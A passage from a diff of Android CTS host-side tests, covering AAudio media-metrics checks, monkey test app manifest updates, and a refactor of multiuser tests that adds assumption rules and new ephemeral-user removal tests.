+        assertThat(result.getNetworkTransferDurationMillis()).isEqualTo(6000);
+        // TODO: needs Base64 decoders to verify the data
+        assertThat(result.getDrmSessionId()).isNotEqualTo(null);
+    }
+
+    public void testSessionId() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testSessionId");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data.size()).isEqualTo(0);
+   }
+
+    public void testRecordingSession() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testRecordingSession");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data.size()).isEqualTo(0);
+   }
+
+    private void validateAAudioStreamAtom(int direction) throws Exception {
+        Set<Integer> directionSet = new HashSet<>(Arrays.asList(direction));
+        List<Set<Integer>> directionList = Arrays.asList(directionSet);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.assertStatesOccurred(directionList, data, 0,
+                atom -> atom.getMediametricsAaudiostreamReported().getDirection().getNumber());
+
+        for (StatsLog.EventMetricData event : data) {
+            AtomsProto.MediametricsAAudioStreamReported atom =
+                    event.getAtom().getMediametricsAaudiostreamReported();
+            assertThat(atom.getBufferCapacity()).isGreaterThan(0);
+            assertThat(atom.getBufferCapacity()).isLessThan(MAX_BUFFER_CAPACITY);
+            assertThat(atom.getBufferSize()).isGreaterThan(0);
+            assertThat(atom.getBufferSize()).isAtMost(atom.getBufferCapacity());
+            assertThat(atom.getFramesPerBurst()).isGreaterThan(0);
+            assertThat(atom.getFramesPerBurst()).isLessThan(atom.getBufferCapacity());
+        }
+    }
+
+    private void runAAudioTestAndValidate(
+            String requiredFeature, int direction, String testFunctionName) throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), requiredFeature)) {
+            return;
+        }
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.MEDIAMETRICS_AAUDIOSTREAM_REPORTED_FIELD_NUMBER);
+
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                testFunctionName);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        validateAAudioStreamAtom(direction);
+    }
+
+    /**
+     * The test try to create and then close aaudio input stream with mmap path via media metrics
+     * atom host side test app on the DUT.
+     * After that, the event metric data for MediametricsAAudioStreamReported is pushed to verify
+     * the data is collected correctly.
+     */
+    public void testAAudioMmapInputStream() throws Exception {
+        runAAudioTestAndValidate(
+                FEATURE_MICROPHONE,
+                AtomsProto.MediametricsAAudioStreamReported.Direction.DIRECTION_INPUT_VALUE,
+                "testAAudioMmapInputStream");
+    }
+
+    /**
+     * The test try to create and then close aaudio output stream with mmap path via media metrics
+     * atom host side test app on the DUT.
+     * After that, the event metric data for MediametricsAAudioStreamReported is pushed to verify
+     * the data is collected correctly.
+     */
+    public void testAAudioMmapOutputStream() throws Exception {
+        runAAudioTestAndValidate(
+                FEATURE_AUDIO_OUTPUT,
+                AtomsProto.MediametricsAAudioStreamReported.Direction.DIRECTION_OUTPUT_VALUE,
+                "testAAudioMmapOutputStream");
+    }
+
+    /**
+     * The test try to create and then close aaudio input stream with legacy path via media metrics
+     * atom host side test app on the DUT.
+     * After that, the event metric data for MediametricsAAudioStreamReported is pushed to verify
+     * the data is collected correctly.
+     */
+    public void testAAudioLegacyInputStream() throws Exception {
+        runAAudioTestAndValidate(
+                FEATURE_MICROPHONE,
+                AtomsProto.MediametricsAAudioStreamReported.Direction.DIRECTION_INPUT_VALUE,
+                "testAAudioLegacyInputStream");
+    }
+
+    /**
+     * The test try to create and then close aaudio output stream with legacy path via media metrics
+     * atom host side test app on the DUT.
+     * After that, the event metric data for MediametricsAAudioStreamReported is pushed to verify
+     * the data is collected correctly.
+     */
+    public void testAAudioLegacyOutputStream() throws Exception {
+        runAAudioTestAndValidate(
+                FEATURE_AUDIO_OUTPUT,
+                AtomsProto.MediametricsAAudioStreamReported.Direction.DIRECTION_OUTPUT_VALUE,
+                "testAAudioLegacyOutputStream");
+    }
+}
diff --git a/hostsidetests/mediaparser/TEST_MAPPING b/hostsidetests/mediaparser/TEST_MAPPING
new file mode 100644
index 0000000..3d21914
--- /dev/null
+++ b/hostsidetests/mediaparser/TEST_MAPPING
@@ -0,0 +1,10 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsMediaParserTestCases"
+    },
+    {
+      "name": "CtsMediaParserHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp/AndroidManifest.xml b/hostsidetests/monkey/test-apps/CtsMonkeyApp/AndroidManifest.xml
index efb1288..742a7c0 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp/AndroidManifest.xml
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp/AndroidManifest.xml
@@ -13,26 +13,27 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.monkey">
+     package="com.android.cts.monkey">
 
     <application android:theme="@android:style/Theme.NoTitleBar.Fullscreen">
 
-        <activity
-            android:name=".MonkeyActivity"
-            android:screenOrientation="locked">
+        <activity android:name=".MonkeyActivity"
+             android:screenOrientation="locked"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <activity
-            android:name=".BaboonActivity"
-            android:screenOrientation="locked">
+        <activity android:name=".BaboonActivity"
+             android:screenOrientation="locked"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.MONKEY" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.MONKEY"/>
             </intent-filter>
         </activity>
 
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/AndroidManifest.xml b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/AndroidManifest.xml
index d08e231..2ecb8f3 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/AndroidManifest.xml
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/AndroidManifest.xml
@@ -13,15 +13,17 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.monkey2">
+     package="com.android.cts.monkey2">
 
     <application android:theme="@android:style/Theme.NoTitleBar.Fullscreen">
 
-        <activity android:name=".ChimpActivity">
+        <activity android:name=".ChimpActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
diff --git a/hostsidetests/multiuser/TEST_MAPPING b/hostsidetests/multiuser/TEST_MAPPING
new file mode 100644
index 0000000..f130cf2
--- /dev/null
+++ b/hostsidetests/multiuser/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit-large": [
+    {
+      "name": "CtsMultiUserHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
index 07883e0..84caea7 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
@@ -15,14 +15,21 @@
  */
 package android.host.multiuser;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import com.android.ddmlib.Log;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.IDeviceTest;
 
 import org.junit.After;
+import org.junit.AssumptionViolatedException;
 import org.junit.Before;
-
+import org.junit.Rule;
+import org.junit.rules.TestName;
 import org.junit.rules.TestRule;
 import org.junit.runner.Description;
 import org.junit.runners.model.Statement;
@@ -35,13 +42,11 @@
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
 /**
  * Base class for multi user tests.
  */
-public class BaseMultiUserTest implements IDeviceTest {
+// Must be public because of @Rule
+public abstract class BaseMultiUserTest implements IDeviceTest {
 
     /** Guest flag value from android/content/pm/UserInfo.java */
     private static final int FLAG_GUEST = 0x00000004;
@@ -52,26 +57,23 @@
      */
     private static final String FEATURE_AUTOMOTIVE = "feature:android.hardware.type.automotive";
 
-
     protected static final long LOGCAT_POLL_INTERVAL_MS = 1000;
     protected static final long USER_SWITCH_COMPLETE_TIMEOUT_MS = 360_000;
 
     /** Whether multi-user is supported. */
-    protected boolean mSupportsMultiUser;
-    protected boolean mIsSplitSystemUser;
     protected int mInitialUserId;
     protected int mPrimaryUserId;
 
     /** Users we shouldn't delete in the tests. */
     private ArrayList<Integer> mFixedUsers;
 
-    private ITestDevice mDevice;
+    protected ITestDevice mDevice;
+
+    @Rule
+    public final TestName mTestNameRule = new TestName();
 
     @Before
     public void setUp() throws Exception {
-        mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
-        mIsSplitSystemUser = checkIfSplitSystemUser();
-
         mInitialUserId = getDevice().getCurrentUser();
         mPrimaryUserId = getDevice().getPrimaryUserId();
 
@@ -81,8 +83,10 @@
 
     @After
     public void tearDown() throws Exception {
-        if (getDevice().getCurrentUser() != mInitialUserId) {
-            CLog.w("User changed during test. Switching back to " + mInitialUserId);
+        int currentUserId = getDevice().getCurrentUser();
+        if (currentUserId != mInitialUserId) {
+            CLog.w("User changed during test (to %d). Switching back to %d", currentUserId,
+                    mInitialUserId);
             getDevice().switchUser(mInitialUserId);
         }
         // Remove the users created during this test.
@@ -99,13 +103,23 @@
         return mDevice;
     }
 
+    protected String getTestName() {
+        return mTestNameRule.getMethodName();
+    }
+
+    protected void assumeNotRoot() throws DeviceNotAvailableException {
+        if (!getDevice().isAdbRoot()) return;
+
+        String message = "Cannot test " + getTestName() + " on rooted devices";
+        CLog.logAndDisplay(Log.LogLevel.WARN, message);
+        throw new AssumptionViolatedException(message);
+    }
+
     protected int createRestrictedProfile(int userId)
             throws DeviceNotAvailableException, IllegalStateException{
         final String command = "pm create-user --profileOf " + userId + " --restricted "
                 + "TestUser_" + System.currentTimeMillis();
-        CLog.d("Starting command: " + command);
         final String output = getDevice().executeShellCommand(command);
-        CLog.d("Output for command " + command + ": " + output);
 
         if (output.startsWith("Success")) {
             try {
@@ -119,29 +133,6 @@
         throw new IllegalStateException();
     }
 
-    /**
-     * @return the userid of the created user
-     */
-    protected int createUser()
-            throws DeviceNotAvailableException, IllegalStateException {
-        final String command = "pm create-user "
-                + "TestUser_" + System.currentTimeMillis();
-        CLog.d("Starting command: " + command);
-        final String output = getDevice().executeShellCommand(command);
-        CLog.d("Output for command " + command + ": " + output);
-
-        if (output.startsWith("Success")) {
-            try {
-                return Integer.parseInt(output.substring(output.lastIndexOf(" ")).trim());
-            } catch (NumberFormatException e) {
-                CLog.e("Failed to parse result: %s", output);
-            }
-        } else {
-            CLog.e("Failed to create user: %s", output);
-        }
-        throw new IllegalStateException();
-    }
-
     protected int createGuestUser() throws Exception {
         return mDevice.createUser(
                 "TestUser_" + System.currentTimeMillis() /* name */,
@@ -158,18 +149,20 @@
         return -1;
     }
 
-    protected boolean isAutomotiveDevice() throws Exception {
-        return getDevice().hasFeature(FEATURE_AUTOMOTIVE);
+    protected void assumeIsAutomotive() throws Exception {
+        assumeTrue("Device does not have " + FEATURE_AUTOMOTIVE,
+                getDevice().hasFeature(FEATURE_AUTOMOTIVE));
     }
 
     protected void assertSwitchToNewUser(int toUserId) throws Exception {
         final String exitString = "Finished processing BOOT_COMPLETED for u" + toUserId;
         final Set<String> appErrors = new LinkedHashSet<>();
         getDevice().executeAdbCommand("logcat", "-b", "all", "-c"); // Reset log
-        assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
+        assertWithMessage("Couldn't switch to user %s", toUserId)
+                .that(getDevice().switchUser(toUserId)).isTrue();
         final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
-        assertTrue("Didn't receive BOOT_COMPLETED delivered notification. appErrors="
-                + appErrors, result);
+        assertWithMessage("Didn't receive BOOT_COMPLETED delivered notification. appErrors=%s",
+                appErrors).that(result).isTrue();
         if (!appErrors.isEmpty()) {
             throw new AppCrashOnBootError(appErrors);
         }
@@ -179,17 +172,24 @@
         final String exitString = "uc_continue_user_switch: [" + fromUserId + "," + toUserId + "]";
         final Set<String> appErrors = new LinkedHashSet<>();
         getDevice().executeAdbCommand("logcat", "-b", "all", "-c"); // Reset log
-        assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
+        assertWithMessage("Couldn't switch to user %s", toUserId)
+                .that(getDevice().switchUser(toUserId)).isTrue();
         final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
-        assertTrue("Didn't reach \"Continue user switch\" stage. appErrors=" + appErrors, result);
+        assertWithMessage("Didn't reach \"Continue user switch\" stage. appErrors=%s", appErrors)
+                .that(result).isTrue();
         if (!appErrors.isEmpty()) {
             throw new AppCrashOnBootError(appErrors);
         }
     }
 
     protected void assertUserNotPresent(int userId) throws Exception {
-        assertFalse("User ID " + userId + " should not be present",
-                getDevice().listUsers().contains(userId));
+        assertWithMessage("User ID %s should not be present", userId)
+                .that(getDevice().listUsers()).doesNotContain(userId);
+    }
+
+    protected void assertUserPresent(int userId) throws Exception {
+        assertWithMessage("User ID %s should be present", userId)
+                .that(getDevice().listUsers()).contains(userId);
     }
 
     /*
@@ -243,7 +243,7 @@
             in.close();
             if (mExitFound) {
                 if (!appErrors.isEmpty()) {
-                    CLog.w("App crash dialogs found: " + appErrors);
+                    CLog.w("App crash dialogs found: %s", appErrors);
                 }
                 return true;
             }
@@ -260,14 +260,6 @@
         }
     }
 
-    private boolean checkIfSplitSystemUser() throws DeviceNotAvailableException {
-        final String commandOuput = getDevice().executeShellCommand(
-                "getprop ro.fw.system_user_split");
-        return "y".equals(commandOuput) || "yes".equals(commandOuput)
-                || "1".equals(commandOuput) || "true".equals(commandOuput)
-                || "on".equals(commandOuput);
-    }
-
     static class AppCrashOnBootError extends AssertionError {
         private static final Pattern PACKAGE_NAME_PATTERN = Pattern.compile("package ([^\\s]+)");
         private Set<String> errorPackages;
@@ -303,13 +295,15 @@
                 public void evaluate() throws Throwable {
                     Set<String> errors = evaluateAndReturnAppCrashes(base);
                     if (errors.isEmpty()) {
+                        CLog.v("Good News, Everyone! No App crashes on %s",
+                                description.getMethodName());
                         return;
                     }
-                    CLog.e("Retrying due to app crashes: " + errors);
+                    CLog.e("Retrying due to app crashes: %s", errors);
                     // Fail only if same apps are crashing in both runs
                     errors.retainAll(evaluateAndReturnAppCrashes(base));
-                    assertTrue("App error dialog(s) are present after 2 attempts: " + errors,
-                            errors.isEmpty());
+                    assertWithMessage("App error dialog(s) are present after 2 attempts")
+                            .that(errors).isEmpty();
                 }
             };
         }
@@ -323,4 +317,29 @@
             return new HashSet<>();
         }
     }
+
+    /**
+     * Rule that skips a test if device does not support more than 1 user
+     */
+    protected static class SupportsMultiUserRule implements TestRule {
+
+        private final IDeviceTest mDeviceTest;
+
+        SupportsMultiUserRule(IDeviceTest deviceTest) {
+            mDeviceTest = deviceTest;
+        }
+
+        @Override
+        public Statement apply(Statement base, Description description) {
+            return new Statement() {
+                @Override
+                public void evaluate() throws Throwable {
+                    boolean supports = mDeviceTest.getDevice().getMaxNumberOfUsersSupported() > 1;
+                    assumeTrue("device does not support multi users", supports);
+
+                    base.evaluate();
+                }
+            };
+        }
+    }
 }
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
index 1513232..dc81f47 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
@@ -18,29 +18,28 @@
 
 import android.platform.test.annotations.Presubmit;
 
-import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
 /**
  * Test verifies that users can be created/switched to without error dialogs shown to the user
+ *
  * Run: atest CreateUsersNoAppCrashesTest
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CreateUsersNoAppCrashesTest extends BaseMultiUserTest {
+public final class CreateUsersNoAppCrashesTest extends BaseMultiUserTest {
+
+    @Rule
+    public final RuleChain mLookAllThoseRules = RuleChain.outerRule(new SupportsMultiUserRule(this))
+            .around(new AppCrashRetryRule());
 
     @Presubmit
     @Test
     public void testCanCreateGuestUser() throws Exception {
-        if (!mSupportsMultiUser) {
-            return;
-        }
         int userId = getDevice().createUser(
                 "TestUser_" + System.currentTimeMillis() /* name */,
                 true /* guest */,
@@ -52,9 +51,6 @@
     @Presubmit
     @Test
     public void testCanCreateSecondaryUser() throws Exception {
-        if (!mSupportsMultiUser) {
-            return;
-        }
         int userId = getDevice().createUser(
                 "TestUser_" + System.currentTimeMillis() /* name */,
                 false /* guest */,
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
index fc385b1..4f19d81 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
@@ -15,32 +15,30 @@
  */
 package android.host.multiuser;
 
-import static com.android.tradefed.log.LogUtil.CLog;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.host.multiuser.BaseMultiUserTest.SupportsMultiUserRule;
 
 import com.android.compatibility.common.util.CddTest;
-import com.android.ddmlib.Log;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-import org.junit.Assert;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CreateUsersPermissionTest extends BaseMultiUserTest {
+public final class CreateUsersPermissionTest extends BaseMultiUserTest {
+
+    @Rule
+    public final SupportsMultiUserRule mSupportsMultiUserRule = new SupportsMultiUserRule(this);
 
     @Test
     public void testCanCreateGuestUser() throws Exception {
-        if (!mSupportsMultiUser) {
-            return;
-        }
         createGuestUser();
     }
 
     @Test
     public void testCanCreateEphemeralUser() throws Exception {
-        if (!mSupportsMultiUser || !mIsSplitSystemUser) {
-            return;
-        }
         getDevice().createUser(
                 "TestUser_" + System.currentTimeMillis() /* name */,
                 false /* guest */,
@@ -49,33 +47,14 @@
 
     @Test
     public void testCanCreateRestrictedUser() throws Exception {
-        if (!mSupportsMultiUser) {
-            return;
-        }
         createRestrictedProfile(mPrimaryUserId);
     }
 
-    @Test
-    public void testCantSetUserRestriction() throws Exception {
-        if (getDevice().isAdbRoot()) {
-            CLog.logAndDisplay(Log.LogLevel.WARN,
-                    "Cannot test testCantSetUserRestriction on rooted devices");
-            return;
-        }
-        final String setRestriction = "pm set-user-restriction no_fun ";
-        final String output = getDevice().executeShellCommand(setRestriction + "1");
-        final boolean isErrorOutput = output.contains("SecurityException")
-                && output.contains("You need MANAGE_USERS permission");
-        Assert.assertTrue("Trying to set user restriction should fail with SecurityException. "
-                + "command output: " + output, isErrorOutput);
-    }
-
     @CddTest(requirement="9.5/A-1-3")
     @Test
     public void testCanCreateGuestUserWhenUserLimitReached() throws Exception {
-        if (!isAutomotiveDevice()) {
-            return;
-        }
+        assumeIsAutomotive();
+
         // Remove existing guest user
         int guestUserId = getGuestUser();
         if (guestUserId != -1) {
@@ -94,7 +73,7 @@
         }
         createGuestUser();
         userCount = getDevice().listUsers().size();
-        Assert.assertTrue("User count should be greater than max users due to added guest user",
-                userCount > maxUsers);
+        assertWithMessage("User count should be greater than max users due to added guest user")
+                .that(userCount).isGreaterThan(maxUsers);
     }
 }
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/EphemeralTest.java b/hostsidetests/multiuser/src/android/host/multiuser/EphemeralTest.java
index 1b53675..1c52fd7 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/EphemeralTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/EphemeralTest.java
@@ -15,42 +15,35 @@
  */
 package android.host.multiuser;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.platform.test.annotations.LargeTest;
 import android.platform.test.annotations.Presubmit;
 
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
 /**
  * Test verifies that ephemeral users are removed after switched away and after reboot.
+ *
  * Run: atest android.host.multiuser.EphemeralTest
  */
+@LargeTest
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class EphemeralTest extends BaseMultiUserTest {
 
+    @Rule
+    public final SupportsMultiUserRule mSupportsMultiUserRule = new SupportsMultiUserRule(this);
+
     /** Test to verify ephemeral user is removed after switch out to another user. */
     @Presubmit
     @Test
     public void testSwitchAndRemoveEphemeralUser() throws Exception {
-        if (!mSupportsMultiUser) {
-            return;
-        }
-        int ephemeralUserId = -1;
-        try {
-            ephemeralUserId = getDevice().createUser(
-                    "TestUser_" + System.currentTimeMillis() /* name */,
-                    false /* guest */,
-                    true /* ephemeral */);
-        } catch (Exception e) {
-            CLog.w("Failed to create user. Skipping test.");
-            return;
-        }
+        final int ephemeralUserId = createEphemeralUser();
+
         assertSwitchToNewUser(ephemeralUserId);
         assertSwitchToUser(ephemeralUserId, mInitialUserId);
         waitForUserRemove(ephemeralUserId);
@@ -61,21 +54,96 @@
     @Presubmit
     @Test
     public void testRebootAndRemoveEphemeralUser() throws Exception {
-        if (!mSupportsMultiUser) {
-            return;
-        }
-        int ephemeralUserId = -1;
-        try {
-            ephemeralUserId = getDevice().createUser(
-                    "TestUser_" + System.currentTimeMillis() /* name */,
-                    false /* guest */,
-                    true /* ephemeral */);
-        } catch (Exception e) {
-            CLog.w("Failed to create user. Skipping test.");
-            return;
-        }
+        final int ephemeralUserId = createEphemeralUser();
+
         assertSwitchToNewUser(ephemeralUserId);
         getDevice().reboot();
         assertUserNotPresent(ephemeralUserId);
     }
+
+    /**
+     * Test to verify that {@link android.os.UserManager#removeUserOrSetEphemeral(int)} immediately
+     * removes a user that isn't running.
+     *
+     * <p>Indirectly executed by means of the --set-ephemeral-if-in-use flag
+     */
+    @Presubmit
+    @Test
+    public void testRemoveUserOrSetEphemeral_nonRunningUserRemoved() throws Exception {
+        final int userId = createUser();
+
+        executeRemoveUserOrSetEphemeralAdbCommand(userId);
+
+        assertUserNotPresent(userId);
+    }
+
+    /**
+     * Test to verify that {@link android.os.UserManager#removeUserOrSetEphemeral(int)} sets the
+     * current user to ephemeral and removes the user after user switch.
+     *
+     * <p>Indirectly executed by means of the --set-ephemeral-if-in-use flag
+     */
+    @Presubmit
+    @Test
+    public void testRemoveUserOrSetEphemeral_currentUserSetEphemeral_removeAfterSwitch()
+            throws Exception {
+        final int userId = createUser();
+
+        assertSwitchToNewUser(userId);
+        executeRemoveUserOrSetEphemeralAdbCommand(userId);
+        assertUserEphemeral(userId);
+
+        assertSwitchToUser(userId, mInitialUserId);
+        waitForUserRemove(userId);
+        assertUserNotPresent(userId);
+    }
+
+    /**
+     * Test to verify that {@link android.os.UserManager#removeUserOrSetEphemeral(int)} sets the
+     * current user to ephemeral and removes that user after reboot.
+     *
+     * <p>Indirectly executed by means of the --set-ephemeral-if-in-use flag
+     */
+    @Presubmit
+    @Test
+    public void testRemoveUserOrSetEphemeral_currentUserSetEphemeral_removeAfterReboot()
+            throws Exception {
+        final int userId = createUser();
+
+        assertSwitchToNewUser(userId);
+        executeRemoveUserOrSetEphemeralAdbCommand(userId);
+        assertUserEphemeral(userId);
+
+        getDevice().reboot();
+        assertUserNotPresent(userId);
+    }
+
+    private void executeRemoveUserOrSetEphemeralAdbCommand(int userId) throws Exception {
+        getDevice().executeShellV2Command("pm remove-user --set-ephemeral-if-in-use " + userId);
+    }
+
+    private void assertUserEphemeral(int userId) throws Exception {
+        assertUserPresent(userId);
+        assertWithMessage("User ID %s should be flagged as ephemeral", userId)
+                .that(getDevice().getUserInfos().get(userId).isEphemeral()).isTrue();
+    }
+
+    private int createUser() throws Exception {
+        return createUser(/* isGuest= */ false, /* isEphemeral= */ false);
+    }
+
+    private int createEphemeralUser() throws Exception {
+        return createUser(/* isGuest= */ false, /* isEphemeral= */ true);
+    }
+
+    private int createUser(boolean isGuest, boolean isEphemeral) throws Exception {
+        final String name = "TestUser_" + System.currentTimeMillis();
+        try {
+            return getDevice().createUser(name, isGuest, isEphemeral);
+        } catch (Exception e) {
+            throw new IllegalStateException(String.format(
+                    "Failed to create user (name=%s, isGuest=%s, isEphemeral=%s)",
+                    name, isGuest, isEphemeral), e);
+        }
+    }
 }
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java b/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
index d4a6ef2..139a35c 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
@@ -15,29 +15,37 @@
  */
 package android.host.multiuser;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.host.multiuser.BaseMultiUserTest.SupportsMultiUserRule;
+
 import com.android.compatibility.common.util.CddTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-import java.util.concurrent.TimeUnit;
-
-import org.junit.Assert;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Run: atest SecondaryUsersTest
+ */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class SecondaryUsersTest extends BaseMultiUserTest {
+public final class SecondaryUsersTest extends BaseMultiUserTest {
 
     // Extra time to give the system to switch into secondary user after boot complete.
     private static final long SECONDARY_USER_BOOT_COMPLETE_TIMEOUT_MS = 30000;
 
     private static final long POLL_INTERVAL_MS = 100;
 
+    @Rule
+    public final SupportsMultiUserRule mSupportsMultiUserRule = new SupportsMultiUserRule(this);
+
     @CddTest(requirement="9.5/A-1-2")
     @Test
     public void testSwitchToSecondaryUserBeforeBootComplete() throws Exception {
-        if (!isAutomotiveDevice() || !mSupportsMultiUser) {
-            return;
-        }
+        assumeIsAutomotive();
 
         getDevice().nonBlockingReboot();
         getDevice().waitForBootComplete(TimeUnit.MINUTES.toMillis(2));
@@ -58,6 +66,7 @@
             }
             Thread.sleep(POLL_INTERVAL_MS);
         }
-        Assert.assertTrue("Must switch to secondary user before boot complete", isUserSecondary);
+        assertWithMessage("Must switch to secondary user before boot complete")
+                .that(isUserSecondary).isTrue();
     }
 }
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/SetUsersRestrictionsTest.java b/hostsidetests/multiuser/src/android/host/multiuser/SetUsersRestrictionsTest.java
new file mode 100644
index 0000000..b44915e
--- /dev/null
+++ b/hostsidetests/multiuser/src/android/host/multiuser/SetUsersRestrictionsTest.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.host.multiuser;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test for user restrictions that DO NOT REQUIRE multi-user support.
+ *
+ * Run: atest SetUsersRestrictionsTest
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class SetUsersRestrictionsTest extends BaseMultiUserTest {
+
+    /**
